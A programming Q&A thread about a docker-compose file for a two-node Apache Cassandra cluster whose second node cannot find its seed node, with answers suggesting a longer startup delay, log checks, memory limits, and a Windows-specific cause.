Multi host cassandra Docker-compose file issue - cassandra

Question

I am fairly new to playing around with Docker so hopefully this is all my fault, but I am trying to get a multihost Apache Cassandra ring setup using Docker Compose.
I have the following docker-compose.yml file
version: '2'
services:
cassandra-1:
hostname: cassandra-1
image: cassandra:latest
command: /bin/bash -c "sleep 1 && echo ' -- Pausing to let system catch up ... -->' && /docker-entrypoint.sh cassandra -f"
expose:
- 7000
- 7001
- 7199
- 9042
- 9160
# volumes: # uncomment if you desire mounts, also uncomment cluster.sh
# - ./data/cassandra-1:/var/lib/cassandra:rw
cassandra-2:
hostname: cassandra-2
image: cassandra:latest
command: /bin/bash -c "sleep 20 && echo ' -- Pausing to let system catch up ... -->' && /docker-entrypoint.sh cassandra -f"
environment:
- CASSANDRA_SEEDS=cassandra-1
links:
- cassandra-1:cassandra-1
expose:
- 7000
- 7001
- 7199
- 9042
- 9160
# volumes: # uncomment if you desire mounts, also uncomment cluster.sh
# - ./data/cassandra-2:/var/lib/cassandra:rw
This example attempts to start a 1st cassandra node (cassandra-1) and then a 2nd node (cassandra-2) in another container that should be able to use 1st node as the seed node for the standard Cassandra environment variable "CASSANDRA_SEEDS"
However when I run this, I get this sort of exception
cassandra-2_1 | WARN 07:00:35 Seed provider couldn't lookup host cassandra-1
cassandra-2_1 | Exception (org.apache.cassandra.exceptions.ConfigurationException) encountered during startup: The
provider lists no seeds.
cassandra-2_1 | The seed provider lists no seeds.
cassandra-2_1 | ERROR 07:00:35 Exception encountered during startup: The seed provider lists no seeds.
cass2_cassandra-2_1 exited with code 3
Where the attempt to start the 2nd Cassandra node (cassandra-2) ALWAYS fails, and ends also up killing in the 1st
cass1_cassandra-1_1 exited with code 137
If I split the docker-compose.yaml file into 2 parts, where the starting of the 1st cassandra node is in one file. And just start that node using docker-compose up that's ok.
Please also note that when I take the 2 separate docker-compose.yml file route, one for "cassandra-1", and another for "cassandra-2" I AM making sure that the 2nd file uses "external_links" rather than "links". But the result is the same
I have scoured the web for other examples and everyone seems to be doing it the same way as I am. But mine just doesn't work.

Answer 1

Did you make sure the first node finished startup before the second node attempts to join the cluster?
In my experience, 20 seconds is not enough for the first node to finish startup. Make the second node sleep for something like 60 seconds before joining the cluster.
command: /bin/bash -c "echo ' -- Pausing to let system catch up ...' && sleep 60 && /docker-entrypoint.sh cassandra -f"
Also in the above command I swapped echo and sleep which makes more sense as you are carefully watching the terminal output.
Logs of cassandra-1 should show something like
INFO 21:21:06 Node /172.18.0.2 state jump to NORMAL
INFO 21:23:04 Handshaking version with /172.18.0.4
INFO 21:23:07 Node /172.18.0.4 is now part of the cluster
INFO 21:23:07 InetAddress /172.18.0.4 is now UP
Very container logs by executing this command on your terminal:
docker logs [OPTIONS] CONTAINER_ID
Find the container ID by executing docker ps.
If things still don't work, try to add mem_limit: 1024m to both of your Cassandra container definitions. Maybe startup fails due to limited memory resources.

Answer 2

This seems to only be an issue with Docker for Windows. I tried the original file on a Mac and it worked just fine